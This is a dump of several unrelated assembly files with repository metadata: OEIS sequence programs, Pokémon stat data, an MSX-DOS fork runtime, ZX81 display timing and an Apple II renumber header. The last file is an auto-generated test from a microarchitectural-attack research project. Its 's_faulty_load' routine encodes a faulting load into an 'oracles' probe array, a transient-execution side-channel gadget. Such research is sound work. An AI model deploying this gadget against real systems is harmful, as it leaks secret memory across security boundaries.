; A080817: Leading diagonal of triangle in A080818. ; 1,3,6,10,6,10,15,8,13,19,26,15,22,30,16,24,33,43,25,35,46,25,36,48,61,36,49,63,35,49,64,33,48,64,81,46,63,81,43,61,80,100,58,78,99,54,75,97,49,71,94,118,66,90,115,60,85,111,138,79,106,134,72,100,129,159,93,123 mov $1,$0 add $0,1 add $1,2 bin $1,2 seq $1,68527 ; Difference between smallest square >= n and n. add $0,$1

37.4

211

0.676471

ee53e8c4b0beaba77fc7b2ad4c3be8cbf84b83c2

1,112

asm

Assembly

data/pokemon/base_stats/jirachi.asm

AtmaBuster/pokeplat-gen2

fa83b2e75575949b8f72cb2c48f7a1042e97f70f

[ "blessing" ]

6

2021-06-19T06:41:19.000Z

2022-02-15T17:12:33.000Z

data/pokemon/base_stats/jirachi.asm

AtmaBuster/pokeplat-gen2-old

01e42c55db5408d72d89133dc84a46c699d849ad

[ "blessing" ]

null

data/pokemon/base_stats/jirachi.asm

AtmaBuster/pokeplat-gen2-old

01e42c55db5408d72d89133dc84a46c699d849ad

[ "blessing" ]

2

2021-08-11T19:47:07.000Z

2022-01-01T07:07:56.000Z

db 0 ; species ID placeholder db 100, 100, 100, 100, 100, 100 ; hp atk def spd sat sdf db STEEL, PSYCHIC ; type db 3 ; catch rate db 215 ; base exp db STAR_PIECE, STAR_PIECE ; items db GENDER_UNKNOWN ; gender ratio db 120 ; step cycles to hatch INCBIN "gfx/pokemon/jirachi/front.dimensions" db GROWTH_SLOW ; growth rate dn EGG_NONE, EGG_NONE ; egg groups db 100 ; happiness ; tm/hm learnset tmhm WATER_PULSE, CALM_MIND, TOXIC, HIDDEN_POWER, SUNNY_DAY, HYPER_BEAM, LIGHT_SCREEN, PROTECT, RAIN_DANCE, SAFEGUARD, FRUSTRATION, THUNDERBOLT, THUNDER, RETURN, PSYCHIC_M, SHADOW_BALL, DOUBLE_TEAM, REFLECT, SHOCK_WAVE, SANDSTORM, AERIAL_ACE, FACADE, SECRET_POWER, REST, SKILL_SWAP, ENERGY_BALL, FLING, CHARGE_BEAM, ENDURE, DRAIN_PUNCH, RECYCLE, GIGA_IMPACT, FLASH, THUNDER_WAVE, STEALTH_ROCK, PSYCH_UP, SLEEP_TALK, NATURAL_GIFT, DREAM_EATER, GRASS_KNOT, SWAGGER, U_TURN, SUBSTITUTE, FLASH_CANNON, TRICK_ROOM, ANCIENTPOWER, FIRE_PUNCH, HELPING_HAND, ICE_PUNCH, ICY_WIND, IRON_DEFENSE, IRON_HEAD, LAST_RESORT, MUD_SLAP, SIGNAL_BEAM, SNORE, SWIFT, THUNDERPUNCH, TRICK, UPROAR, ZEN_HEADBUTT ; end

55.6

689

0.774281

6f68318655c61360225235269f24e8e8a088c387

16,214

asm

Assembly

crt0msx_msxdos2_fork.asm

Konamiman/NestorWeb

434a23176518c137731f4784046d3c472b845842

[ "MIT" ]

4

2020-01-19T11:53:25.000Z

2021-05-10T21:13:47.000Z

crt0msx_msxdos2_fork.asm

Konamiman/NestorWeb

434a23176518c137731f4784046d3c472b845842

[ "MIT" ]

null

crt0msx_msxdos2_fork.asm

Konamiman/NestorWeb

434a23176518c137731f4784046d3c472b845842

[ "MIT" ]

1

2020-01-20T05:17:46.000Z

;--- crt0.asm for MSX-DOS 2 - by Konamiman, 1/2020 ; ; Advanced version with fork: ; ; - Defines main as "int main(char** argv, int argc)", ; the returned value will be passed to _TERM. ; ; - Allows executing a separate program as a subprocess, ; when the suprocess finishes the main program is reloaded, ; see proc.h for details. ; ; Assemble with sdasz80 -g -o crt0msx_msxdos2_fork.rel crt0msx_msxdos2_fork.asm ; ; Compile programs with --code-loc 0x410 --data-loc X ; X=0 -> global vars will be placed immediately after code ; X!=0 -> global vars will be placed at address X ; (make sure that X>0x100+code size) _TERM0 .equ #0x00 _STROUT .equ #0x09 _FFIRST .equ #0x40 _OPEN .equ #0x43 _CLOSE .equ #0x45 _READ .equ #0x48 _WPATH .equ #0x5E _FORK .equ #0x60 _JOIN .equ #0x61 _TERM .equ #0x62 _GENV .equ #0x6B _SENV .equ #0x6C _DOSVER .equ #0x6F ;---Possible errors returned by proc_fork FORK_ERR_SMALL_TPA .equ 1 FORK_ERR_FILE_NOT_FOUND .equ 2 FORK_ERR_FILE_TOO_BIG .equ 3 FORK_ERR_FILE_OPEN .equ 4 FORK_ERR_FORKING .equ 5 .globl _main .globl _proc_fork .globl l__INITIALIZER .globl s__INITIALIZED .globl s__INITIALIZER .area _HEADER (ABS) .org 0x0100 ;MSX-DOS .COM programs start address ;Jump table for easier debugging: 0x100 = init, 0x103 = fork, 0x104 = join jp init _proc_fork: jp do_proc_fork join: jp do_join ;================================================================ ;===== Starting the program instance from scratch ("main") ===== ;================================================================ ;--- Step 1: Initialize globals init: call gsinit call setup_put_px ;Save stack pointer to reset it when forking a subprocess ld hl,#0 add hl,sp ld (orig_stack),hl ;--- Step 2: Build the parameter pointers table on 0x100, ; and terminate each parameter with 0. ; MSX-DOS places the command line length at 0x80 (one byte), ; and the command line itself at 0x81 (up to 127 characters). ;* Check if there are any parameters at all ld a,(#0x80) or a ld c,#0 jr z,cont ;* Copy the command line processing code to 0xC000 and ; execute it from there, this way the memory of the original code ; can be recycled for the parameter pointers table. ; (The space from 0x100 up to "cont" can be used, ; this is room for about 40 parameters. ; No real world application will handle so many parameters.) ld hl,#parloop ld de,#0xC000 ld bc,#parloopend-#parloop ldir ;* Initialize registers and jump to the loop routine ld hl,#0x81 ;Command line pointer ld c,#0 ;Number of params found ld ix,#init ;Params table pointer ld de,#cont ;To continue execution at "cont" push de ;when the routine RETs jp 0xC000 ;>>> Command line processing routine begin ;* Loop over the command line: skip spaces parloop: ld a,(hl) or a ;Command line end found? ret z cp #32 jr nz,parfnd inc hl jr parloop ;* Parameter found: add its address to params table... parfnd: ld (ix),l ld 1(ix),h inc ix inc ix inc c ld a,c ;protection against too many parameters cp #40 ret nc ;* ...and skip chars until finding a space or command line end parloop2: ld a,(hl) or a ;Command line end found? ret z cp #32 jr nz,nospc ;If space found, set it to 0 ;(string terminator)... ld (hl),#0 inc hl jr parloop ;...and return to space skipping loop nospc: inc hl jr parloop2 parloopend: ;>>> Command line processing routine end ;* Command line processing done. Here, C=number of parameters. cont: ld hl,#init ld b,#0 push bc ;Pass info as parameters to "main" push hl ;--- Step 3: Call the "main" function push de ld de,#_HEAP_start ld (_heap_top),de pop de call _main ;--- Step 4: Program termination. ; Termination code for DOS 2 was returned on L. ld c,#0x62 ;DOS 2 function for program termination (_TERM) ld b,l call 5 ;On DOS 2 this terminates; on DOS 1 this returns... ld c,#0x0 jp 5 ;...and then this one terminates ;(DOS 1 function for program termination). ;================================== ;===== Forking a subprocess ===== ;================================== ;Declarations needed in the program: ; ;extern unsigned char proc_fork(void* subprocess_file_or_fib, char* arguments_for_subprocess, void* state_data); ;unsigned char proc_join(unsigned char error_code_from_subprocess, void* state_data); ; ;See proc.h for details on how forking works. ;--- Contents of the temporary 256 bytes area allocated when forking ;Copy of CP/M serial number and BDOS jump TMP_CPM_SERIAL_AND_BDOS_JUMP .equ 0 ;Original destination of the REBOOT hook TMP_REBOOT .equ 9 ;Process ID returned by _FORK TMP_PROCID .equ 11 ;Original stack pointer, to be restored when rejoining TMP_SP .equ 12 ;Code that reloads the main program file TMP_RELOAD_CODE .equ 14 ;Path of the main program file TMP_MAIN_PROG_PATH .equ 64 ;Space to hold a copy of the state data passed to proc_fork TMP_STATE_DATA .equ 128 do_proc_fork: ;Check TPA size ld a,(#7) cp #0xC4 ld l,#FORK_ERR_SMALL_TPA ret c ;Get and save arguments ld iy,#2 add iy,sp ld e,2(iy) ld d,3(iy) ld (fork_cmdline),de ld e,4(iy) ld d,5(iy) ld (fork_statedata),de ld e,(iy) ld d,1(iy) ld (fork_path),de ;If a path is supplied for the subprocess program ile, ;execute _FFIRST to get a FIB. ;Reuse the code area for "main" to hold the FIB. push de pop iy ld a,(de) cp #0xFF jr nz,fork_search_do ex de,hl ld de,#init ld bc,#64 ldir jr fork_search_ok fork_search_do: push ix ld ix,#init ld b,#0 ld c,#_FFIRST call #5 pop ix ld l,#FORK_ERR_FILE_NOT_FOUND ret nz ;Check subprocess program file size fork_search_ok: ld iy,#init ld l,#FORK_ERR_FILE_TOO_BIG ld a,24(iy) or a ret nz ld a,23(iy) or a ret nz ld a,22(iy) cp #0xC0 ret nc ;Open the subprocess program file push iy pop de ld a,#5 ;Open in inheritable mode (since we'll need to access it after the _FORK) + in read-only mode ld c,#_OPEN call #5 ld l,#FORK_ERR_FILE_OPEN ret nz ld a,b ld (NEW_PROC_FH),a ;Execute _FORK ld c,#_FORK call #5 jr z,fork_ok ld a,(NEW_PROC_FH) ld b,a ld c,#_CLOSE call #5 ld l,#FORK_ERR_FORKING ret fork_ok: ld a,b ld (NEW_PROC_ID),a ;>>> All preconditions are met, we'll not return any error from now ;Allocate 256 bytes right below the current TPA end. ;The size needs to be 256 because the low byte of the TPA end ;is required by MSX-DOS to be fixed. ;We'll use this area to store some temporary data and code ;(see TMP_* declarations). ld bc,(orig_stack) ld hl,#0 or a sbc hl,bc ld hl,#-256 add hl,sp ld sp,hl ;Setup the copy of CP/M serial number and jump to BDOS ld de,(#6) ld e,#0 push de dec d pop hl ld bc,#9 push de ldir pop iy ;Save a copy of the original stack, to be restored when rejoining ld hl,(orig_stack) ld TMP_SP(iy),l ld TMP_SP+1(iy),h ;Save a copy of the original reboot destination address. ;The reboot hook (at address 0) contains a JP to a location ;that in turn contains another JP, we save the target ;of that second JP. ;We need to do it this way because MSXDOS2.SYS resets the ;contents of the hook at address 0 when _TERM is executed. ld hl,(#1) inc hl ld a,(hl) inc hl ld h,(hl) ld l,a ld TMP_REBOOT(iy),l ld TMP_REBOOT+1(iy),h ;Save the subprocess id to be passed to _JOIN ld a,(NEW_PROC_ID) ld TMP_PROCID(iy),a ;Save the main program path so that we can reload it later ld c,#_GENV ld hl,#PROGRAM_S push iy pop de ld e,#TMP_MAIN_PROG_PATH ld b,#64 call #5 ;Setup PROGRAM variable for the subprocess ld a,(init+#25) add #64 ;"A"-1 ld (init),a ld a,#58 ;":" ld (init+#1),a ld a,#92 ;"\" ld (init+#2),a ld de,#init+#3 ld c,#_WPATH call #5 ld de,#init ld hl,#PROGRAM_S ld c,#_SENV call #5 ;Setup the command line arguments for the new process, ;both at address 0x80 and in the PARAMETERS variable ld de,(fork_cmdline) ld b,#0 ld hl,#0x81 ld a,d or e jr z,CMDLINEOK ld a,(de) or a jr z,CMDLINEOK inc b ld (hl),#32 ;Prepend a space inc hl CMDLINELOOP: ld a,b cp #126 jr z,CMDLINEOK ld a,(de) or a jr z,CMDLINEOK ld (hl),a inc hl inc de inc b jr CMDLINELOOP CMDLINEOK: ld (hl),#0 ld a,b ld (0x80),a ld c,#_SENV ld hl,#PARAMETERS_S ld de,#0x81 call #5 ;Copy the code that reloads the main process ld hl,#RELOAD push iy pop de ld e,#TMP_RELOAD_CODE ld bc,#RELOAD_END-#RELOAD ldir ;Copy the state data if present ld hl,(fork_statedata) ld a,h or l jr z,fork_nostate push iy pop de ld e,#TMP_STATE_DATA ld bc,#128 ldir fork_nostate: ;Update the BDOS jump so that it points to the copy ;(needed in order to signal the new end of TPA) ld a,(#7) dec a ld (#7),a ;Update the reboot hook to point to the code that ;reloads the main process push iy pop hl ld bc,#TMP_RELOAD_CODE add hl,bc ex de,hl ld hl,(#1) inc hl ld (hl),e inc hl ld (hl),d ;Copy the code that loads and runs the subprocess program file to end of stack ;(needed because we'll overwrite the entire TPA with the file contents) ;and execute it. ld hl,#RUN_SCRIPT-#RUN_SCRIPT_END ;Actually -(RUN_SCRIPT_END-RUN_SCRIPT) add hl,sp ld (#DO_RUN_SCRIPT+1),hl ld sp,hl ex de,hl ld hl,#RUN_SCRIPT ld bc,#RUN_SCRIPT_END-#RUN_SCRIPT ldir DO_RUN_SCRIPT: jp 0 ;--- Code that loads the subprocess program file and executes it RUN_SCRIPT: ld a,(NEW_PROC_FH) ld b,a push bc ld c,#_READ ld de,#0x100 ld hl,#0xC000 call #5 ;TODO: What if this fails? pop bc ld c,#_CLOSE call #5 ;The -2 is to make the stack point to DIR_RET_POINTER ld hl,#RUN_SCRIPT_END-#RUN_SCRIPT-2 add hl,sp ld sp,hl jp 0x100 .dw 0 ;Zero, so RET with original stack pointer is equivalent to JP 0 RUN_SCRIPT_END: ;--- Code that reloads the main program, must be relocatable. ; This code must be as small as possible, so after reloading ; jump straight to "join" and continue the work there. RELOAD: ld a,#3 PUTP0: call 0 dec a PUTP1: call 0 dec a PUTP2: call 0 ;Try to close file handle 62 to make sure that there's at least one handle free. ;Maximum file handle number in MSX-DOS 2 is 63, but due to a bug ;the _CLOSE function will always return "Invalid file handle" for handle 63. ld bc,#_CLOSE + #0x3E00 call #5 ld de,(#6) ;DE = TPA temporary area created by us ld e,#TMP_MAIN_PROG_PATH ld c,#_OPEN ld a,#1 ;Open as read-only call #5 push bc ld c,#_READ ld de,#0x100 ld hl,#0xC000 call #5 jp join RELOAD_END: ;--- Temporary variables for the forking process fork_path: .dw 0 fork_cmdline: .dw 0 fork_statedata: .dw 0 NEW_PROC_FH: .db 0 NEW_PROC_ID: .db 0 ;========================================= ;===== Rejoining from a subprocess ===== ;========================================= do_join: ;Close main program file handle pop bc ld c,#_CLOSE call #5 ld ix,(#6) ;Data area allocated by us .db #0xDD, #0x2E, #0 ;"ld ixl,0" ;Initialize main program global variables again ld sp,#0xC400 ;Temporarily set stack at sensible location (setup_put_px requires it at page 3) call gsinit call setup_put_px ld de,#_HEAP_start ld (_heap_top),de ;Restore PROGRAM environment variable push ix pop de ld e,#TMP_MAIN_PROG_PATH ld hl,#PROGRAM_S ld c,#_SENV call #5 ;Execute _JOIN to "officially" end the subprocess ld b,TMP_PROCID(ix) ld c,#_JOIN call 5 ld d,b ;Error code returned by subprocess push de ;Restore original reboot hook contents ld hl,(#1) inc hl ld a,TMP_REBOOT(ix) ld (hl),a inc hl ld a,TMP_REBOOT+1(ix) ld (hl),a ;Restore BDOS jump, thus increasing TPA size back by 256 bytes ld a,(#7) inc a ld (#7),a ;Copy state data to a survivable location, ;we'll recycle the area for the command line arguments push ix pop hl ld l,#TMP_STATE_DATA ld de,#0x80 ld bc,#128 ldir ;Reset stack pointer to the value it had at "main" pop bc ;Error code returned by subprocess ld l,TMP_SP(ix) ld h,TMP_SP+1(ix) ld sp,hl ld (orig_stack),hl ;Needed to be able to re-fork ;Push arguments for proc_join, then execute it ld de,#0x80 push de push bc inc sp call _proc_join ;This is an external symbol! Assembly with -g is required. inc sp pop de ld b,l ld c,#_TERM jp 5 ;--- Auxiliary code, strings and variables setup_put_px: push ix xor a ld de,#0x0402 call #0xFFCA pop ix or a ret z ld bc,#0x18 add hl,bc ;HL = PUT_P1 ld de,#0xC000 ld bc,#15 ldir ;Copy PUT_P0 to PUT_P2 to known location ld hl,(#0xC000+#1) ld (#PUTP0+1),hl ld hl,(#0xC000+#6+#1) ld (#PUTP1+1),hl ld hl,(#0xC000+#12+#1) ld (#PUTP2+1),hl ret PROGRAM_S: .strz "PROGRAM" PARAMETERS_S: .strz "PARAMETERS" orig_stack: .dw 0 ;================================================= ;===== Program code and data (global vars) ===== ;================================================= ;* Place data after program code, and data init code after data .area _CODE .area _DATA _heap_top:: .dw 0 .area _GSINIT gsinit:: ld bc,#l__INITIALIZER ld a,b or a,c jp z,gsinext ld de,#s__INITIALIZED ld hl,#s__INITIALIZER ldir gsinext: .area _GSFINAL ret ;* These don't seem to be necessary... (?) ;.area _OVERLAY ;.area _HOME ;.area _BSS .area _HEAP _HEAP_start::

22.333333

113

0.55156

e2ffd55f7fa2ae8888bf59b0ccbd2e8b83a94e7e

3,442

asm

Assembly

libsrc/target/zx81/gen_tv_field.asm

jpoikela/z88dk

7108b2d7e3a98a77de99b30c9a7c9199da9c75cb

[ "ClArtistic" ]

640

2017-01-14T23:33:45.000Z

2022-03-30T11:28:42.000Z

libsrc/target/zx81/gen_tv_field.asm

jpoikela/z88dk

7108b2d7e3a98a77de99b30c9a7c9199da9c75cb

[ "ClArtistic" ]

1,600

2017-01-15T16:12:02.000Z

2022-03-31T12:11:12.000Z

libsrc/target/zx81/gen_tv_field.asm

jpoikela/z88dk

7108b2d7e3a98a77de99b30c9a7c9199da9c75cb

[ "ClArtistic" ]

215

2017-01-17T10:43:03.000Z

2022-03-23T17:25:02.000Z

; ; ZX81 libraries - Stefano Dec 2012 ; ;---------------------------------------------------------------- ; ; $Id: gen_tv_field.asm,v 1.4 2016-06-26 20:36:33 dom Exp $ ; ;---------------------------------------------------------------- ; ; ZX80 (and ZX81 in FAST mode) trick to try to keep the display stable. ; This subroutine should be called in theory after every 1475ms (4731 T-states, corresponding to 22.99 scan lines). ; According to this article: http://www.fruitcake.plus.com/Sinclair/ZX80/FlickerFree/ZX80_DisplayMechanism.htm ; .. a margin has to be considered. ; ;---------------------------------------------------------------- SECTION code_clib PUBLIC gen_tv_field PUBLIC _gen_tv_field PUBLIC DFILE_PTRA PUBLIC DFILE_PTRB gen_tv_field: _gen_tv_field: OUT ($FF),A ; 11 Turn off the vertical sync generator. ; Generate the top border and main display area. ; NOP DFILE_PTRA: LD A,$E9 ; 7 Timing counter for the duration of the first ; scan line of the top border. Thereafter set ; to $DD by the ROM. ; LD BC,$1900 ; 10 There are 25 HALTs within the display file, LD B,$19 ; i.e. 24 rows and 1 top border. C is set only ; to achieve perfect timing. ; LD HL,DFILE+$8000 ; 10 Point to the start of the display file, i.e. ; the initial HALT representing the top border, ; but with bit 15 of the address set. LD HL,($400C) ;; point HL to D-FILE the first HALT ;; instruction. SET 7,H ;; now point to the DFILE echo in the ;; top 32K of address space. DFILE_PTRB: ;LD C,24 ; LD C,48 ; 7 There are 48 scan lines (UK) above the ZX80 ; main display area, or 24 for USA models. CALL $01B0 ; 17+n Produce the top border and main area. ; Generate the bottom border. LD A,$EC ; 7 Timing counter for the duration of the first ; scan line of the bottom border. Thereafter ; set to $DD by the ROM. INC B ; 4 Increment the row count, i.e. B holds $01. DEC HL ; 6 Decrement the screen address, i.e. point to ; the last HALT. LD C,$2F ; 7 the blank line counter, i.e. 47 or 23 ; scan lines below the ZX80 main display area. CALL $01B0 ; 17+n Produce the bottom border. ; Start the vertical sync pulse. IN A,($FE) ; 11 Turn on the vertical sync generator. It be ; will be turned off approximately 23 scan RET ; 10 lines from now.

47.805556

116

0.429111

3a4a6f7f348ea129570de33c3555fda8a278bfe8

2,332

asm

Assembly

source/progaid/renumapp.asm

zellyn/goapple2

998569cee15e83ec7a37668ff57ba00258dad542

[ "MIT" ]

9

2016-07-13T22:04:29.000Z

2021-10-12T01:06:24.000Z

source/progaid/renumapp.asm

zellyn/goapple2

998569cee15e83ec7a37668ff57ba00258dad542

[ "MIT" ]

null

source/progaid/renumapp.asm

zellyn/goapple2

998569cee15e83ec7a37668ff57ba00258dad542

[ "MIT" ]

3

2018-01-01T20:30:27.000Z

2020-04-06T19:12:41.000Z

************************************************** * * * APPLE-][ BASIC RENUMBER / APPEND SUBROUTINES * * * * VERSION TWO * * RENUMBER * * >CLR * * >START= * * >STEP= * * >CALL -10531 * * * * OPTIONAL * * >FROM= * * >TO= * * >CALL -10521 * * * * USE RENX ENTRY * * FOR RENUMBER ALL * * * * WOZ APRIL 12, 1978 * * APPLE COMPUTER INC. * ************************************************** * * * * ROL EQU $0 LOW-ORDER SW16 R0 BYTE. ROH EQU $1 HI-ORDER. ONE EQU $01 R11L EQU $16 LOW-ORDER SW16 R11 BYTE. R11H EQU $17 HI-ORDER. HIMEM EQU $4C BASIC HIMEM POINTER. PPL EQU $CA BASIC PROG POINTER. PVL EQU $CC BASIC VAR POINTER. MEMFULL EQU $E36B BASIC MEM FULL ERROR. PRDEC EQU $E51B BASIC DECIMAL PRINT SUBR. RANGERR EQU $EE68 BASIC RANGE ERROR. LOAD EQU $F0DF BASIC LOAD SUBR. SW16 EQU $F689 SWEET 16 ENTRY. CROUT EQU $FD8E CAR RET SUBR. COUT EQU $FDED CHAR OUT SUBR. * * SWEET 16 EQUATES * ACC EQU $0 SWEET 16 ACCUMULATOR. NEWLOW EQU $1 NEW INITIAL LNO. NEWINCR EQU $2 NEW LNO INCR. LNLOW EQU $3 LOW LNO OF RENUM RANGE. LNHI EQU $4 HI LNO OF RENUM RANGE. TBLSTRT EQU $5 LNO TABLE START. TBLNDX1 EQU $6 PASS 1 LNO TBL INDEX. TBLIM EQU $7 LNO TABLE LIMIT. SCR8 EQU $8 SCRATCH REG. HMEM EQU $8 HIMEM (END OF PRGM). SCR9 EQU $9 SCRATCH REG. PRGNDX EQU $9 PASS 1 PROG INDEX. PRGNDX1 EQU $A ALSO PROG INDEX. NEWLN EQU $B NEXT "NEW LNO". NEWLN1 EQU $C PRIOR "NEW LNO" ASSIGN. TBLND EQU $6 PASS 2 LNO TABLE END. PRGNDX2 EQU $7 PASS 2 PROG INDEX. CHR0 EQU $9 ASCII "0". CHRA EQU $A ASCII "A". MODE EQU $C CONST/LNO MODE. TBLNDX2 EQU $B LNO TBL IDX FOR UPDATE. OLDLN EQU $D OLD LNO FOR UPDATE. STRCON EQU $B BASIC STR CON TOKEN. REM EQU $C BASIC REM TOKEN R13 EQU $D SWEET 16 REG 13 (CPR REG). THEN EQU $D BASIC THEN TOKEN LIST EQU $D BASIC LIST TOKEN DEL EQU $D SCRC EQU $C SCRATCH REG FOR APPEND. * * APPLE-11 BASIC RENUMBER SUBROUTINE - PASS 1 ORG $D400 OBJ $A400

28.790123

53

0.519297

1cd103cfe350a49f14318f384ced17ee7786bbcf

310

asm

Assembly

programs/oeis/021/A021820.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

22

2018-02-06T19:19:31.000Z

2022-01-17T21:53:31.000Z

programs/oeis/021/A021820.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

41

2021-02-22T19:00:34.000Z

2021-08-28T10:47:47.000Z

programs/oeis/021/A021820.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

5

2021-02-24T21:14:16.000Z

2021-08-09T19:48:05.000Z

; A021820: Decimal expansion of 1/816. ; 0,0,1,2,2,5,4,9,0,1,9,6,0,7,8,4,3,1,3,7,2,5,4,9,0,1,9,6,0,7,8,4,3,1,3,7,2,5,4,9,0,1,9,6,0,7,8,4,3,1,3,7,2,5,4,9,0,1,9,6,0,7,8,4,3,1,3,7,2,5,4,9,0,1,9,6,0,7,8,4,3,1,3,7,2,5,4,9,0,1,9,6,0,7,8,4,3,1,3 add $0,1 mov $1,10 pow $1,$0 mul $1,2 div $1,1632 mod $1,10 mov $0,$1

28.181818

199

0.541935

6210e8d1678c8ba55498cfcf2911de03336989d8

5,137

asm

Assembly

Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_3_1779.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

9

2020-08-13T19:41:58.000Z

2022-03-30T12:22:51.000Z

Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_3_1779.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

1

2021-04-29T06:29:35.000Z

2021-05-13T21:02:30.000Z

Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_3_1779.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

3

2020-07-14T17:07:07.000Z

2022-03-21T01:12:22.000Z

.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r15 push %r9 push %rcx push %rdi push %rsi lea addresses_D_ht+0x10c3d, %rdi nop cmp %r9, %r9 movw $0x6162, (%rdi) nop nop nop nop sub $12001, %r10 lea addresses_WC_ht+0x151dd, %rsi lea addresses_normal_ht+0x9bdd, %rdi xor %r13, %r13 mov $32, %rcx rep movsb xor %r10, %r10 lea addresses_WC_ht+0x1e1dd, %rsi lea addresses_A_ht+0xfedd, %rdi nop dec %r15 mov $25, %rcx rep movsq sub %rsi, %rsi lea addresses_A_ht+0x31d, %r9 cmp %r15, %r15 mov (%r9), %cx nop nop nop nop cmp %rdi, %rdi lea addresses_normal_ht+0x4227, %rsi lea addresses_A_ht+0x16063, %rdi dec %r15 mov $63, %rcx rep movsb nop dec %r9 lea addresses_UC_ht+0x15d5d, %rsi lea addresses_normal_ht+0x123dd, %rdi nop nop add %r13, %r13 mov $91, %rcx rep movsw nop nop and %r13, %r13 lea addresses_UC_ht+0x16774, %r12 xor %rsi, %rsi mov $0x6162636465666768, %rcx movq %rcx, %xmm3 and $0xffffffffffffffc0, %r12 vmovntdq %ymm3, (%r12) and %rdi, %rdi lea addresses_WT_ht+0x67dd, %rsi lea addresses_WC_ht+0x5fbb, %rdi nop nop nop xor $20446, %r9 mov $21, %rcx rep movsl add $33428, %r10 lea addresses_WT_ht+0x4a9f, %r10 nop nop nop nop and %rdi, %rdi mov (%r10), %r12d nop xor $63464, %r13 lea addresses_normal_ht+0x1279d, %r9 clflush (%r9) nop nop nop nop nop inc %rdi mov $0x6162636465666768, %r13 movq %r13, (%r9) nop nop nop and $64317, %rdi lea addresses_normal_ht+0xb1fd, %rsi lea addresses_A_ht+0xddd, %rdi nop nop nop cmp $17805, %r10 mov $54, %rcx rep movsw nop nop nop sub $61050, %r9 lea addresses_normal_ht+0x5c2f, %rdi clflush (%rdi) nop nop nop nop nop inc %r9 mov (%rdi), %r13w nop dec %r15 lea addresses_UC_ht+0x169dd, %rdi nop cmp %r10, %r10 movb $0x61, (%rdi) nop nop nop nop nop cmp %rdi, %rdi pop %rsi pop %rdi pop %rcx pop %r9 pop %r15 pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r9 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi // Store lea addresses_PSE+0x19bdd, %r9 nop nop nop add %rdx, %rdx movb $0x51, (%r9) nop nop nop nop sub $50198, %rax // REPMOV lea addresses_PSE+0x1a7f0, %rsi lea addresses_normal+0x65dd, %rdi nop nop nop nop add $63415, %r12 mov $44, %rcx rep movsw nop nop sub $36883, %r9 // Store lea addresses_RW+0x1d795, %r9 nop nop nop nop nop xor %rdx, %rdx mov $0x5152535455565758, %r12 movq %r12, %xmm5 vmovups %ymm5, (%r9) nop nop nop and $34709, %rdi // Faulty Load lea addresses_normal+0x10ddd, %rbp cmp %r12, %r12 mov (%rbp), %rsi lea oracles, %rdx and $0xff, %rsi shlq $12, %rsi mov (%rdx,%rsi,1), %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_PSE', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal', 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': True}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': True, 'NT': True, 'congruent': 9, 'same': False}} {'34': 3} 34 34 34 */

21.584034

153

0.653884

2fabd82edddeac07f1cdb1e8784f5d0665ffb2dd

3,581

asm

Assembly

